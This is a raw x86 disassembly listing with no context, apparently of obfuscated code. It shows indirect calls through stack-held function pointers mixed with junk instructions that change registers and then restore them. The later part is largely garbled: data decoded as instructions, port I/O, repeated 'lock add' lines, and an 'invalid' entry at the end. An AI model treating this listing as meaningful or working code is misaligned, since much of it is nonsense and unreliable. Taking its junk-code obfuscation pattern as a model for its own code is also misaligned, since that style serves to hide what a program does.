mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x4612a9
push eax
push esi
add esp, 4
jmp 0x461270
or eax, 0x1ed9
pop eax
push edi
push ecx
add esp, 4
xor edi, 0xa0c6
add edi, 0x81a1
and edi, 0x2717
add edi, 0xff11
pop edi
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push esi
push ebx
add esp, 4
or esi, 0x36e3
and esi, 0x138a9
or esi, 0x13d80
or esi, 0x6d0a
pop esi
push ecx
add ecx, 0x5e3c
sub ecx, 0x1521
xor ecx, 0xc6a4
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff01ff
pop ecx
push edi
push esp
test ch, al
add eax, 0x28ccf82
add al, byte [ecx]
in al, dx
add eax, 0x3e51493c
sub bh, 0x21
jg 0x461301
add dword [edx + 0x2232ce7], eax
out 0x2c, eax
and eax, dword [edx]
add dword [edi + 0x58], ebx
sub al, 0x2a
and al, 2
add dword [edx + 0x25543d0], eax
add dword [edx + 0x1cb7fc8], eax
add dword [eax - 0x45], esp
insb byte es:[edi], dx
add dword [ecx], eax
add dword [edi - 0x76], esp
xchg esi, eax
mov ebp, 0xb90000ea
add word [ecx], ax
add dword [edi - 0x76], esp
xchg byte [edi - 0x45ffff16], bh
jae 0x461337
add dword [ecx], eax
mov cl, byte [bp - 0x153f]
add byte [eax], al
mov ebx, 0x101016f
mov dl, byte [bp - 0x153d]
add byte [eax], al
mov ecx, 0x1010166
mov al, byte [bp - 0x153b]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x1539]
add byte [eax], al
mov ebx, 0x1010134
mov dl, byte [bp - 0x1537]
add byte [eax], al
mov ecx, 0x1010133
mov al, byte [bp - 0x1535]
add byte [eax], al
mov edx, 0x101012f
mov cl, byte [bp - 0x1533]
add byte [eax], al
mov ebx, 0x1010165
mov dl, byte [bp - 0x1531]
add byte [eax], al
mov ecx, 0x101016d
mov al, byte [bp - 0x152f]
add byte [eax], al
mov edx, 0x101016d
mov cl, byte [bp - 0x152d]
add byte [eax], al
xor al, 0xd3
mov dl, byte [bp - 0x152b]
add byte [eax], al
mov dword [esi + 0xf06d], 0x6e86c748
lock add byte [eax], al
mov word [esi + 0xf06f], 0xc775
xchg byte [eax - 0x10], dh
add byte [eax], al
dec esi
mov dword [esi + 0xf071], 0x7286c770
lock add byte [eax], al
mov dword gs:[esi + 0xf073], 0x7486c776
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf075], 0x7686c766
lock add byte [eax], al
dec ecx
mov dword [esi + 0xf077], 0x7886c762
lock add byte [eax], al
outsd dx, dword [esi]
mov dword [esi + 0xf079], 0x7a86c765
lock add byte [eax], al
insd dword es:[edi], dx
mov dword [esi + 0xf07b], 0x7c86c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf07d], 0x84575101
lds eax, [0x4a4a06ec]
dec esp
cmp eax, dword [ebx + 0x59]
push edi
push esp
test ch, al
add eax, 0x463f05ec
cmp eax, 0xf5c78250
sbb al, 1
add dword [edx + 0x1fcb1f7], eax
add dword [edi + 0x53], ebx
push edx
test ch, al
add eax, 0x333f06ec
cmp edx, dword ds:[eax + 0x5b]
add dword [edi - 0x76], esp
mov es, ecx
ljmp 0x101
push es
aas
xor edi, dword [esi]
cmp edx, dword [eax + 0x5b]
mov dword [esi + 0xf099], 0x9a86c747
lock add byte [eax], al
push 0xffffffffffffffc7
xchg byte [ebx + 0x6f0000f0], bl
mov dword [esi + 0xf09c], 0x9d86c765
lock add byte [eax], al
push ebx
mov dword [esi + 0xf09e], 0x9f86c766
lock add byte [eax], al
je 0x461456
mov dword [esi + 0xf09b], 0x9c86c76f
lock add byte [eax], al
mov dword gs:[esi + 0xf09d], 0x9e86c753
lock add byte [eax], al
mov word [esi + 0xf09f], 0xc774
xchg byte [eax + 0x700000f0], ah
mov dword [esi + 0xf0a1], 0xa286c776
lock add byte [eax], al
jae 0x46146b
xchg byte [ebx + 0x640000f0], ah
mov dword [esi + 0xf0a4], 0xa586c766
lock add byte [eax], al
pop eax
mov dword [esi + 0xf0a6], 0x84515401
lds eax, [0x2204c482]
add al, byte [ecx]
pop esp
push esp
and ah, 0xfd
outsb dx, byte [esi]
add dword [ecx], eax
or ah, 0x84
jmp 0x4614d8
pop esp
push ebx
push esp
test ch, al
add eax, 0x8686f382
add al, byte [ecx]
xor bl, 0x2e
fiadd dword [ecx]
add dword [edx + 0x1ce14eb], eax
add dword [ebx - 0x39], ebx
xchg byte [ecx + 0x4d0000f0], bh
mov dword [esi + 0xf0ba], 0xbb86c770
lock add byte [eax], al
invalid